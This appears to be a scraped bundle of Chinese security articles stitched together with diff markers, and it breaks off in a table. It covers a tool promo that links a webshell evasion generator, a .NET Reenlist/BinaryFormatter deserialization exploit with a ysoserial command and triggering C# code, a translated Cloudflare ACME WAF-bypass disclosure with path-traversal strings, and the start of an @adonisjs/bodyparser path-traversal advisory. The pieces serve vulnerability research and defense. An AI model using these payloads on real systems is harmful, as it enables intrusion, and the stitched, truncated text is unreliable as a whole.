<table><tbody><tr style="color: rgb(66, 75, 93);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"></tr></tbody></table>
|
||||
### 文件传输服务 (4种)
|
||||
|
||||

|
||||
### 远程管理服务 (3种)
|
||||
|
||||

|
||||
### 消息队列服务 (3种)
|
||||
|
||||

|
||||
### 容器与编排服务 (2种)
|
||||
|
||||

|
||||
### 其他服务 (4种)
|
||||
|
||||

|
||||
## 截图展示
|
||||
### 主界面
|
||||
|
||||

|
||||
### 连接详情
|
||||
|
||||

|
||||
### 文件浏览器
|
||||
|
||||

|
||||
### Docker Shell
|
||||
|
||||

|
||||
|
||||

|
||||
### 漏洞报告
|
||||
|
||||

|
||||
|
||||
|
||||
## 工具获取
|
||||
|
||||
|
||||
|
||||
点击关注下方名片
|
||||
进入公众号
|
||||
|
||||
回复关键字【
|
||||
260121
|
||||
】获取
|
||||
下载链接
|
||||
|
||||
|
||||
## 往期精彩
|
||||
|
||||
|
||||
[流量之眼 - 智能被动漏洞扫描平台2026-01-20](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496127&idx=1&sn=b2e9109847a88c84ac808305babaeb8a&scene=21#wechat_redirect)
|
||||
[XSS 漏洞练习靶场,覆盖反射型、存储型、DOM 型、SVG、CSP、框架注入、协议绕过等多种场景2026-01-19](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496120&idx=1&sn=f2153c748593255cb40ae6f8e50a3ab8&scene=21#wechat_redirect)
|
||||
[一款自动化403/401绕过工具 | 请求头注入、谓词篡改等多种实战技巧2026-01-16](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496113&idx=1&sn=6e48fa8ac465f65cffbe9753de1b9c7f&scene=21#wechat_redirect)
|
||||
[Burp Suite插件 | 高级HTTP头修改安全头来绕过安全限制、不同来源或设备的请求2026-01-12](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496101&idx=1&sn=731e9d4fa9782a4bfdcc8622d4bf16b9&scene=21#wechat_redirect)
|
||||
[Webshell_Generate更新V1.2.6! | 各类webshell免杀,支持蚁剑、冰蝎、哥斯拉等2026-01-09](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496095&idx=1&sn=201f62e956bc5954c4aecc6204f1f16d&scene=21#wechat_redirect)
|
||||
|
||||
|
||||

|
||||
|
||||
@@ -0,0 +1,155 @@
|
||||
# 一文解析 .NET 分布式事务组件反序列化漏洞
|
||||
专攻.NET安全的
|
||||
专攻.NET安全的 dotNet安全矩阵 2026-01-20 23:11
|
||||
|
||||

|
||||
|
||||
在分布式系统架构中,事务一致性是保障数据可靠性的核心支柱。.NET框架提供的System.Transactions命名空间,通过TransactionManager类实现了分布式事务的统一管理,支持多个资源管理器参与同一事务,确保操作的原子性、一致性、隔离性与持久性。
|
||||
|
||||
TransactionManager.Reenlist方法作为分布式事务恢复机制的关键组成部分,负责在事务崩溃或网络中断等异常场景下,重新注册事务参与者,以恢复事务状态并完成后续的提交或回滚操作。
|
||||
|
||||
然而,该方法内部存在高危安全隐患,通过BinaryFormatter组件对未经验证的二进制输入数据进行反序列化,本文将从Reenlist方法的核心功能入手,深入剖析反序列化漏洞的形成原理,详细讲解攻击载荷的构造方法与漏洞利用流程,并给出针对性的防御方案,帮助读者全面理解该漏洞的危害与防护要点。本文内容节选自《.NET安全攻防指南》一书 第17章 .NET反序列化漏洞插件,感兴趣的读者可进一步阅读本书获取更多安全研究内容。
|
||||
|
||||
|
||||
**原价258元,现限量优惠,数量有限!点击京东链接打开手机京东APP即可下单购买。**
|
||||
|
||||
**01. Reenlist基本介绍**
|
||||
|
||||
|
||||
|
||||
在 .NET 框架中,System.Transactions.TransactionManager
|
||||
负责管理分布式事务,允许多个资源管理器参与同一个事务,并保证它们的一致性。其中,TransactionManager.Reenlist方法用于在事务崩溃或中断后重新注册事务的参与者,确保事务状态得以恢复。
|
||||
|
||||
例如,当数据库事务因网络中断而未能正确提交,事务管理器可在系统恢复后重新注册该事务,并尝试提交或回滚操作。然而,该方法的 byte[]
|
||||
参数为二进制序列化数据。使用 BinaryFormatter
|
||||
进行反序列化,这为漏洞提供了一个利用点:如果传入恶意序列化数据,则可能导致代码执行漏洞。
|
||||
|
||||

|
||||
|
||||
BinaryFormatter是.NET框架中用于对象序列化与反序列化的核心组件,其设计初衷是为了实现.NET对象的快速序列化与传输。
|
||||
|
||||
但该组件存在一个致命的安全缺陷:在反序列化过程中,会自动创建指定类型的实例并执行其构造函数、序列化回调方法,如OnDeserialized等代码。这意味着,若能够控制反序列化的输入数据,构造恶意的序列化对象,就可以诱导BinaryFormatter在反序列化过程中执行任意恶意代码。
|
||||
|
||||
所以,微软官方已明确将BinaryFormatter标记为不安全组件,并在.NET 5及以上版本中限制其使用,同时推荐使用Protobuf等更安全的序列化方案。
|
||||
|
||||
**02. 反序列化利用原理**
|
||||
|
||||
|
||||
|
||||
在 TransactionManager.Reenlist 方法内部,核心处理逻辑如下,首先创建 MemoryStream:该方法首先使用 MemoryStream 读取传入的二进制数据,随后,从流中读取一个 32 位整数,并检查其值是否为 1。如果不满足,则不会进入后续处理逻辑。当 num == 1 时,进入 ReenlistTransaction 进行事务恢复。该方法最终调用 BinaryFormatter 进行反序列化,从而加载事务对象。
|
||||
|
||||
手动构造BinaryFormatter的恶意序列化载荷难度较高,需深入理解.NET对象的序列化格式与各类恶意 gadgets。在实际安全研究中,通常使用开源工具ysoserial.net来快速生成各类序列化漏洞的攻击载荷。
|
||||
|
||||
ysoserial.net是一款专门针对.NET序列化漏洞的载荷生成工具,支持生成基于BinaryFormatter等多种序列化组件的恶意载荷,内置了大量成熟的gadget链,比如TextFormattingRunProperties、TypeConfuseDelegate等。
|
||||
|
||||
针对本次漏洞,我们选择TextFormattingRunProperties gadget链生成恶意载荷,该gadget链兼容性强,可在多个.NET Framework版本中生效。生成载荷的命令如下:
|
||||
|
||||
```
|
||||
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o base64 -c calc
|
||||
```
|
||||
|
||||
|
||||
上述命令将生成一个 Base64 编码的恶意载荷,该载荷在反序列化时会触发 calc.exe 执行,生成的攻击载荷如图
|
||||
所示。
|
||||
|
||||

|
||||
|
||||
图
|
||||
yso生成
|
||||
BinaryFormatter载荷
|
||||
|
||||
然后对
|
||||
payload进行解码得到二进制数据
|
||||
serializedData,将额外的信息添加到之前的事务注册数据中,具体实现代码如下所示。
|
||||
|
||||
```
|
||||
byte[] serializedData = Convert.FromBase64String(payload);byte[] newSerializedData = new byte[serializedData.Length + 5]; serializedData.CopyTo(newSerializedData, 5);newSerializedData[0] = 1;TestMe myTransactionEnlistment = new TestMe();TransactionManager.Reenlist(Guid.NewGuid(), newSerializedData, myTransactionEnlistment);
|
||||
```
|
||||
|
||||
|
||||
最后调用
|
||||
TransactionManager.Reenlist
|
||||
方法重新注册事务参与者触发反序列化漏洞。
|
||||
|
||||
**03. 反序列化原理分析**
|
||||
|
||||
|
||||
|
||||
Reenlist方法通过创建一个
|
||||
|
||||
MemoryStream
|
||||
对象来读取传入的序列化数据,然后使用
|
||||
binaryReader
|
||||
从流中读取一个
|
||||
|
||||
32
|
||||
位整数值,并将其存储在变量
|
||||
|
||||
num
|
||||
中,并且检查整数值是否为
|
||||
1,也就是说第一位字节码必须是
|
||||
1,因此在重组事务数据时使用了
|
||||
newSerializedData[0]
|
||||
|
||||
=
|
||||
|
||||
1,如图
|
||||
所示。
|
||||
|
||||

|
||||
|
||||
图重组事务数据第
|
||||
1位字节码
|
||||
|
||||
接着调用
|
||||
oletxTransactionManager.ReenlistTransaction方法,用于有效性检查和获取相关资源,便于重新注册事务,如图
|
||||
所示。
|
||||
|
||||

|
||||
|
||||
图ReenlistTransaction方法
|
||||
重新注册事务
|
||||
|
||||
从图上调试显示进入核心方法
|
||||
|
||||
oletxResourceManager.Reenlist,内部调用了
|
||||
BinaryFormatter格式化器
|
||||
|
||||
formatter,用于反序列化恢复事务对象信息,也因此加载恶意的攻击载荷触发了反序列化漏洞。调试运行时如图
|
||||
所示。
|
||||
|
||||

|
||||
|
||||
图运行时反序列化启动本地计算器
|
||||
|
||||
本文围绕TransactionManager.Reenlist方法的反序列化漏洞展开,从方法功能、漏洞原理、攻击利用到防御方案进行了全面解析。该漏洞的核心成因是使用了不安全的BinaryFormatter组件对未经验证的输入数据进行反序列化,攻击者通过构造恶意载荷并绕过简单校验,即可执行任意代码。
|
||||
|
||||
**04. 漏洞防御修复**
|
||||
|
||||
|
||||
|
||||
免责声明:此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。任何未经授权的网络渗透、入侵或对他人网络破坏的活动而造成的直接或间接后果和损失,均由使用者为自身的行为负责并承担全部的法律和连带责任,与本号及作者无关,请务必遵循相关法律法规。本文所提供的工具仅用于学习和本地安全研究和测试,禁止用于其他方面。
|
||||
|
||||
针对TransactionManager.Reenlist方法的反序列化漏洞,需从组件替换、输入校验、版本升级等多个维度构建防御体系,彻底阻断攻击路径。
|
||||
|
||||
以下是具体的防御方案,最根本的防御措施是替换BinaryFormatter这一不安全组件。对于需要序列化/反序列化的场景,推荐使用以下安全的序列化方案:
|
||||
- System.Text.Json:.NET Core 3.0及以上版本内置的序列化组件,仅支持预定义类型的序列化,不支持任意类型的反序列化,安全性更高;
|
||||
|
||||
- Protobuf(Protocol Buffers):谷歌开源的序列化框架,采用二进制编码,具有高效、紧凑、类型安全的特点,需预先定义数据结构,可有效防止恶意类型注入;
|
||||
|
||||
- MessagePack:基于二进制的高效序列化格式,支持多种编程语言,同样需要预定义数据结构,安全性优于BinaryFormatter。
|
||||
|
||||
建议微软在.NET Core 3.0及以上版本、.NET 5及以上版本中,对组件进行了安全优化,从源头修复了该漏洞。因此,对于使用旧版本.NET Framework的应用,建议尽快升级到.NET Core 3.1、.NET 6或更高版本,以获得官方的安全保障。
|
||||
|
||||

|
||||
|
||||
以上知识点已收录于新书《.NET安全攻防指南》,并且有完整详细的介绍,如下图所示。全书共计25章,总计1010页,分为上下册,横跨.NET Web代码审计与红队渗透两大领域。
|
||||
|
||||
|
||||
****
|
||||
**上册深入剖析.NET Web安全审计的核心技术,帮助读者掌握漏洞发现与修复的精髓;**
|
||||
|
||||
|
||||
**下册则聚焦于.NET逆向工程与攻防对抗的实战技巧,揭秘最新的对抗策略与技术方法。原价258元,现限量优惠,数量有限!点击京东链接打开手机京东APP即可下单购买。**
|
||||
|
||||
|
||||
@@ -0,0 +1,248 @@
|
||||
# 可访问全球任意主机:Cloudflare WAF 0-day漏洞剖析
|
||||
Dubito
|
||||
Dubito 云原生安全指北 2026-01-21 00:35
|
||||
|
||||
|
||||
|
||||
> 注:本文翻译自 FearsOff 的文章
|
||||
《Cloudflare Zero-day: Accessing Any Host Globally Or, when .well‑known went well past the WAF》[1]
|
||||
,可点击文末“阅读原文”按钮查看英文原文。
|
||||
|
||||
|
||||
全文如下:
|
||||
## 一、引言
|
||||
|
||||
在现代几乎每个网站上,都有一个为机器而非人类存在的URL。它位于 /.well-known/acme-challenge/
|
||||
路径下,在证书颁发的几秒钟内,一个机器人会访问它,以验证您确实控制着该域名。这段访问理应平淡无奇,是一项例行的静默任务。但在本例中,这条寂静之路却发出了巨大的声响!
|
||||
|
||||
这份报告将讲述,为什么指向该证书验证路径的流量能够绕过客户规则,到达 Cloudflare 后方的源站(origin),而应用程序的其余部分则被正常阻挡;为什么这很重要;我们如何谨慎地证明了这一点;以及该问题现已被如何修复。本文既写给希望了解细节的研究者,也写给需要把握全局而不陷入技术细节的安全负责人。
|
||||
## 二、ACME 协议的 60 秒速成课
|
||||
|
||||
ACME(Automatic Certificate Management Environment)是让证书颁发机构(Certificate Authority, CA)验证域名控制权的协议。在 HTTP-01 验证方法中,CA 期望您的站点在 /.well-known/acme-challenge/{token}
|
||||
路径下提供一个一次性令牌。CA 会像任何其他客户端一样,通过普通的 HTTPS 协议获取该令牌;如果字节匹配,则颁发证书。其本意严格且极简:仅让机器人在一个非常特定的路径下读取一个小文件,仅此而已。ACME 走廊只为一个拿着剪贴板的机器人而设,而非让一群人从守卫眼皮下溜过去。
|
||||
## 三、一个不合常理的发现
|
||||
|
||||
我们当时正在审查一组应用程序的访问配置,这些应用的 WAF 被设置为阻止所有流量,只允许特定来源。在其他所有地方,WAF 都完全如其所述地工作。但当我们向 /.well-known/acme-challenge/{token}
|
||||
路径发起请求时,WAF 却让开了路,由源站以自己的声音作出了响应。正是这个发言者的单一改变——从 Cloudflare 的中间页面变成了源站框架的响应——暴露了问题。
|
||||
|
||||
为了确保我们追查的不是租户特有的错误配置,我们启动了受控的演示主机,并在其前方部署了 Cloudflare,这些主机默认对普通流量是 blocked(已阻挡)状态:
|
||||
|
||||
https://cf-php.fearsoff.org/, https://cf-spring.fearsoff.org/,以及 https://cf-nextjs.fearsoff.org/。
|
||||
|
||||
访问这些主机的普通路径,您会遇到 Cloudflare 的阻挡页面。但访问这些主机的 ACME 挑战路径(并附带任意有效的令牌),您就会得到一个由源站生成的响应,最常见的是框架的 404 页面。即使不看响应头,差异也显而易见:一个页面是 Cloudflare 的,另一个则无疑是应用本身的。
|
||||
## 四、我们确信的信号
|
||||
|
||||
在演示主机上,我们使用了小型、幂等的请求,并在令牌后附加了一个无害的后缀(例如,在令牌后添加 /ae
|
||||
),以此证明无需真实的 ACME 文件也会触发该行为。在所有情况下,我们都收到了源站响应,而其本应遇到 WAF 的阻挡。
|
||||
|
||||
以下是来自演示环境的代表性截图。第一张图显示了一个正常请求终止于 Cloudflare 的阻挡页面。第二张图展示了我们在演示中用于阻挡所有 cf-
|
||||
相关主机名的自定义规则。接下来的三张图则显示了当请求指向 ACME 路径时,每个演示主机都返回了一个由源站生成的 404 页面。
|
||||
|
||||
**阻挡页面(正常请求)**
|
||||
|
||||

|
||||
|
||||
**自定义规则 - 拦截包含 cf- 的主机名**
|
||||
|
||||
为了演示,我们创建了一个规则,阻挡任何包含 cf-
|
||||
的主机名。在生产环境中,许多团队会阻挡公共互联网流量,只允许公司 VPN 出口流量。此规则模拟了我们演示环境中的这种配置状态。
|
||||
|
||||

|
||||
|
||||
**源站 404 页面(Next.js)**
|
||||
|
||||

|
||||
|
||||
**源站 404 页面(Spring)**
|
||||
|
||||

|
||||
|
||||
**源站 404 页面(PHP)**
|
||||
|
||||

|
||||
## 五、我们如何获取一个稳定的挑战令牌
|
||||
|
||||
为了进行可重复的演示,我们需要一个不会在测试中途消失的挑战令牌。Cloudflare 的 **SSL/TLS Custom Hostnames**
|
||||
功能允许您管理 CNAME 指向您域名的第三方的主机名和证书。我们添加了一个名为 cf-well-known.fearsoff.org
|
||||
的自定义主机名,并明确选择了 HTTP 验证方式。下面的截图展示了添加流程和最终的“Pending Validation”(待验证)状态。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
我们故意没有为 cf-well-known.fearsoff.org
|
||||
创建 DNS 记录,因此证书签发过程将无限期保持“待处理”状态。在这个待处理状态下,Cloudflare 会展示验证机器人最终将请求的 HTTP-01 URL,例如:
|
||||
|
||||
http://cf-well-known.fearsoff.org/.well-known/acme-challenge/yMnWOcR2yv0yW-...Jm5QksreNRDUmqKfKPTk
|
||||
|
||||
我们没有完成验证,也没有在该路径下放置任何挑战文件。我们的目标是获得一个确定性的、长期有效的令牌格式,以便为我们的 WAF 行为测试提供一个锚点,同时无需与真实的 CA 竞争验证。有了这个令牌,我们就能在全球所有 Cloudflare 托管的主机上测试 /.well-known/acme-challenge/{token}
|
||||
这条路由。
|
||||
## 六、为什么这在实际中很重要
|
||||
|
||||
WAF 控制理应是大门。当一条维护路径可以绕过这扇门时,“内部”的定义就发生了改变。实际上,/.well-known/acme-challenge/...
|
||||
的信任边界从 WAF 滑向了源站。一旦源站可以从互联网访问——即使只针对一条路由——普通的漏洞便获得了网络路径,普通的页面也变成了侦查目标。
|
||||
|
||||
下图展示了这一变化在我们的演示环境中的直观表现。
|
||||
### 6.1 Spring / Tomcat
|
||||
|
||||
在正常的安全配置下,执行器(actuator)端点位于 WAF 和内部网络控制之后。通过 ACME 路径访问应用程序则改变了这一边界。利用某些 servlet 栈中一个众所周知的路径遍历特性(..;/
|
||||
),请求可以访问 /actuator/env
|
||||
端点,并返回进程环境和配置信息。这些数据通常包含敏感值——数据库 URL、API 令牌、云密钥——这实质上扩大了对源站中任何错误的潜在攻击面。
|
||||
|
||||

|
||||
### 6.2 Next.js
|
||||
|
||||
服务器端渲染框架通常会将服务器派生的值发送给客户端,以便进行页面数据渲染(hydrate)。当 WAF 守在大门前时,这没有问题。但当源站直接响应时,同一个页面就可能暴露出本不应从公共互联网访问的操作细节。
|
||||
|
||||

|
||||
### 6.3 PHP 路由
|
||||
|
||||
许多 PHP 应用将所有请求都路由到 index.php
|
||||
文件,并使用一个查询参数来选择视图。当这种模式存在 LFI漏洞(本地文件包含)时,公开可访问性就将其转化为了一个文件读取漏洞。请求 ../../../../etc/hosts
|
||||
就足以证明其影响。在我们的演示中,即使是 404 流程也是通过 index.php
|
||||
路由的,这就是为什么一旦源站开始直接响应,便会暴露出额外的页面。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
这些演示是后果,而非原因。根本问题在于 WAF 在一个特殊路径上所做的放行决定。一旦那扇门被打开,源站内部任何脆弱的环节都突然变得只需一个请求即可触及。
|
||||
## 七、不只是 404——账户级 WAF 规则也被忽略
|
||||
|
||||
为了证明这不仅仅是绕路到框架的 404 页面,我们配置了账户级的 WAF 规则,以阻挡携带特定标记(sentinel )Header 的请求。在根路径 /
|
||||
,带有 X-middleware-subrequest:
|
||||
头部的请求如预期被阻挡。而完全相同的请求指向 ACME 路径时,却被放行并由应用程序处理。换句话说,本应阻止该请求的账户级规则,并未针对该路径进行评估。
|
||||
|
||||
为什么这个区别很重要?许多实际应用程序会根据 Header 做决策,或者将 Header 值传递给下游代码。当限制 Header 的 WAF 规则被跳过时,整类问题就重新获得了通往源站的路径:遗留代码中基于 Header 的 SQL 拼接、通过 X-Forwarded-Host
|
||||
或 X-Original-URL
|
||||
实现的 SSRF 和host 混淆、当缓存依赖 Header 进行变化时的缓存投毒、使用 X-HTTP-Method-Override
|
||||
的方法覆盖技巧,以及通过自定义 Header 启用的调试开关。随之而来的明显问题是:有多少应用仍然过分信任 Header?有多少应用依赖 WAF 来隔离这种信任与互联网?
|
||||
## 八、可能的原因与修复方案
|
||||
|
||||
我们在调查期间的初步假设是,/.well-known/acme-challenge/
|
||||
路径下的请求是在另一条代码路径上被评估的——这是一条旨在协助证书验证的隐式例外路径,它在客户阻断控制之前执行。这就可以解释为什么在 ACME 路径下总是源站响应,而在其他地方则是拦截页面。
|
||||
|
||||
2025年10月27日,Cloudflare 部署了修复程序。我们重新测试了相同的模式,并观察到了预期的行为:WAF 统一应用了客户规则,包括对 /.well-known/acme-challenge/*
|
||||
路径的请求。这条乏味的路径再次变得乏味了。
|
||||
## 九、AI 与新的攻击面
|
||||
|
||||
随着人工智能(AI)驱动的攻击不断发展,此类 WAF 绕过漏洞带来了额外的紧迫性。由机器学习驱动的自动化工具能够快速枚举并利用像 /.well-known/acme-challenge/
|
||||
这样的暴露路径,大规模地探测特定框架的漏洞或错误配置。
|
||||
|
||||
例如,一个经过训练能识别 Servlet 路径遍历特性或 PHP 路由漏洞的 AI 模型,可以将此绕过与针对性攻击载荷串联起来,从而将一条狭窄的维护路径变成广泛的攻击向量。相反,AI 驱动的安全工具可以通过模拟这些攻击场景来帮助防御者,正如我们与 Crypto[.]com 安全团队的合作中所见,他们使用 AI 分析验证了此问题。随着源站变得可直接寻址,AI 攻击者与防御者之间的竞赛愈演愈烈,这使得强大的 WAF 控制比以往任何时候都更为关键。
|
||||
## 十、时间线
|
||||
- • 2025年10月9日 - 通过 HackerOne 提交报告。
|
||||
|
||||
- • 2025年10月13日 - 供应商开始验证。
|
||||
|
||||
- • 2025年10月14日 - 由 HackerOne 完成分类分级。
|
||||
|
||||
- • 2025年10月27日 - 最终修复部署完成;重新测试确已修复。
|
||||
|
||||
## 十一、致谢
|
||||
|
||||
我们谨向
|
||||
Jason Lau, CISO[2]
|
||||
及 **Crypto[.]com**
|
||||
安全团队致以诚挚的谢意。我们首先联系了他们,以协助独立验证此零日(zero-day)漏洞。他们的专业技术、AI 安全能力、速度和响应效率,使得他们能够与
|
||||
Matthew Prince, CEO[3]
|
||||
及 **Cloudflare**
|
||||
团队密切合作,加速了补丁的开发和测试。感谢我们共同的努力,如今全球的组织都更加安全。
|
||||
## 十二、结语
|
||||
|
||||
最危险的漏洞往往始于寻常的细节。一个证书机器人使用的走廊绝不应成为一道侧门。我们赞赏从调查到修复的快速响应,以及全过程中的协作。
|
||||
|
||||
您可以在
|
||||
Cloudflare 博客[4]
|
||||
上阅读关于此漏洞的文章。
|
||||
> 注:以下是对于
|
||||
Cloudflare 博客《How we mitigated a vulnerability in Cloudflare’s ACME validation logic》[4]
|
||||
文章的翻译,该文章从防御角度出发,剖析了漏洞原理及修补方式。
|
||||
|
||||
# Cloudflare ACME验证漏洞的根因与修复方案详解
|
||||
## 一、引言
|
||||
|
||||
2025年10月13日,
|
||||
FearsOff[5]
|
||||
的安全研究人员发现并报告了 Cloudflare ACME 验证逻辑中的一个漏洞,该漏洞导致在特定与 ACME 相关的路径上部分
|
||||
WAF[6]
|
||||
功能失效。此漏洞通过 Cloudflare 的
|
||||
漏洞赏金计划[7]
|
||||
报告并得到验证。
|
||||
|
||||
该漏洞源于我们的边缘网络处理发往 ACME HTTP-01 挑战路径(*/.well-known/acme-challenge/**
|
||||
)请求的方式。
|
||||
|
||||
在此,我们将简要解释该协议的工作原理以及我们为修复漏洞所采取的措施。
|
||||
|
||||
**Cloudflare 已修复此漏洞,客户无需采取任何措施。**
|
||||
我们未发现任何恶意行为者滥用此漏洞。
|
||||
## 二、ACME 如何验证证书
|
||||
|
||||
ACME 是一种用于自动化颁发、续期和吊销
|
||||
SSL/TLS证书[8]
|
||||
的协议。当使用 HTTP-01 挑战来验证域名所有权时,**证书颁发机构**
|
||||
期望在格式为 http://{customer domain}/.well-known/acme-challenge/{token value}
|
||||
的 HTTP 路径上找到一个验证令牌。
|
||||
|
||||
如果此挑战被 Cloudflare 管理的证书订单使用,那么 Cloudflare 将在该路径上进行响应,并向调用者提供 CA 给出的令牌。如果提供的令牌与 Cloudflare 管理的订单无关,则该请求将传递给客户源站,因为他们可能正试图作为其他系统的一部分完成域名验证。查看更多细节请参考下图流程——其他用例将在博文后部分讨论。
|
||||
|
||||

|
||||
|
||||
(注:译者对其进行了翻译,见下图)
|
||||
|
||||

|
||||
## 三、底层逻辑缺陷
|
||||
|
||||
发往 */.well-known/acme-challenge/**
|
||||
的某些请求,会触发服务于 ACME 挑战令牌的逻辑去禁用 WAF 功能,并允许本应被阻挡的挑战请求继续前往源站。
|
||||
|
||||
此前,当 Cloudflare 服务于 HTTP-01 挑战令牌时,如果调用者请求的路径与我们系统中某个活动挑战的令牌匹配,服务于 ACME 挑战令牌的逻辑会禁用 WAF 功能,因为 Cloudflare 将直接提供响应。这样做是因为这些功能可能会干扰 CA 验证令牌值的能力,并导致自动化证书订单和续期失败。
|
||||
|
||||
然而,在使用的令牌与不同区域关联且并非由 Cloudflare 直接管理的情况下,该请求将被允许继续前往客户源站,而不会经过 WAF 规则集的进一步处理。
|
||||
## 四、我们如何缓解此漏洞
|
||||
|
||||
为缓解此问题,我们发布了一个代码变更。该变更仅允许在请求匹配该主机名的有效 ACME HTTP-01 挑战令牌时,才禁用该组安全功能。在这种情况下,Cloudflare 才会有一个挑战响应可返回。
|
||||
## 五、Cloudflare 客户已受保护
|
||||
|
||||
如上所述,**Cloudflare 已修复此漏洞,客户无需采取任何措施。**
|
||||
此外,我们未发现任何恶意行为者滥用此漏洞。
|
||||
## 六、快速响应与漏洞透明度
|
||||
|
||||
一如既往,我们感谢外部研究人员负责任地披露此漏洞。我们鼓励 Cloudflare 社区提交任何已识别的漏洞,以帮助我们持续改进产品与平台的安全状况。
|
||||
|
||||
我们也认识到,您对我们的信任对于您在 Cloudflare 上构建基础设施的成功至关重要。我们极为重视此类漏洞,并将继续竭尽全力减轻影响。我们衷心感谢您对我们平台的持续信任,并承诺不仅在我们所做的一切中优先考虑安全,而且每当问题出现时,都会迅速、透明地采取行动。
|
||||
#### 引用链接
|
||||
|
||||
[1]
|
||||
《Cloudflare Zero-day: Accessing Any Host Globally Or, when .well‑known went well past the WAF》:https://fearsoff.org/research/cloudflare-acme
|
||||
[2]
|
||||
Jason Lau, CISO:https://www.linkedin.com/in/jasonciso/
|
||||
[3]
|
||||
Matthew Prince, CEO:https://www.linkedin.com/in/mprince/
|
||||
[4]
|
||||
Cloudflare 博客:https://blog.cloudflare.com/acme-path-vulnerability/
|
||||
[5]
|
||||
FearsOff:https://fearsoff.org/
|
||||
[6]
|
||||
WAF:https://developers.cloudflare.com/waf/
|
||||
[7]
|
||||
漏洞赏金计划:https://hackerone.com/cloudflare?type=team
|
||||
[8]
|
||||
SSL/TLS证书:https://www.cloudflare.com/learning/ssl/what-is-an-ssl-certificate/
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
**交流群**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,393 @@
|
||||
# 复现(CVE-2026-21440)@adonisjs/bodyparser路径遍历漏洞利用
|
||||
原创 qife
|
||||
qife 网络安全技术点滴分享 2026-01-20 23:10
|
||||
|
||||
## 一、漏洞详情
|
||||
|
||||
@adonisjs/bodyparser
|
||||
包中存在一个严重的路径遍历漏洞,允许远程攻击者在预期的上传目录之外写入任意文件。
|
||||
|
||||
|
||||
当 multipartfile.move()
|
||||
函数在没有显式提供经过净化的文件名的情况下被调用时,解析器默认使用客户端提供的文件名,且未进行适当的净化处理。
|
||||
|
||||
|
||||
由于底层实现使用了 path.join()
|
||||
,且 options.overwrite
|
||||
的默认值为 true
|
||||
,攻击者可以构造一个包含目录遍历序列(例如 ../../etc/cron.d/malicious
|
||||
)的恶意文件名,将文件写入文件系统的任何位置,这可能导致远程代码执行。
|
||||
|
||||
## 二、受影响版本
|
||||
<table><tbody><tr><td data-colwidth="191"><section style="margin-left: 48px;margin-right: 48px;"><span style="color: rgb(36, 41, 46);font-family: "Helvetica Neue", "Luxi Sans", "DejaVu Sans", "Hiragino Sans GB", "Microsoft Yahei", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Noto Color Emoji", "Segoe UI Symbol", "Android Emoji", EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-weight: bold;"> 包</span></span></span></section></td><td data-colwidth="191"><section><span style="color: rgb(36, 41, 46);font-family: "Helvetica Neue", "Luxi Sans", "DejaVu Sans", "Hiragino Sans GB", "Microsoft Yahei", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Noto Color Emoji", "Segoe UI Symbol", "Android Emoji", EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf=""> <span textstyle="" style="font-weight: bold;"> 受影响版本</span></span></span></section></td><td data-colwidth="191"><section><span style="color: rgb(36, 41, 46);font-family: "Helvetica Neue", "Luxi Sans", "DejaVu Sans", "Hiragino Sans GB", "Microsoft Yahei", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Noto Color Emoji", "Segoe UI Symbol", "Android Emoji", EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf=""> <span textstyle="" style="font-weight: bold;">已修复版本</span></span></span></section></td></tr><tr><td data-colwidth="191"><section><span style="color: rgb(36, 41, 46);font-family: "Helvetica Neue", "Luxi Sans", "DejaVu Sans", "Hiragino Sans GB", "Microsoft Yahei", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Noto Color Emoji", "Segoe UI Symbol", "Android Emoji", EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">@adonisjs/bodyparser</span></span></section></td><td data-colwidth="191"><section><span style="color: rgb(36, 41, 46);font-family: 